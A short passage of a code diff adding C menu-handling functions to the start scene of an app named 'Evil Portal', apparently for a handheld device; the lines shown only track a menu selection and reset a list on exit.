+        app->selected_menu_index = variable_item_list_get_selected_item_index(app->var_item_list);
+        consumed = true;
+    }
+
+    return consumed;
+}
+
+void evil_portal_scene_start_on_exit(void* context) {
+    Evil_PortalApp* app = context;
+    variable_item_list_reset(app->var_item_list);
+}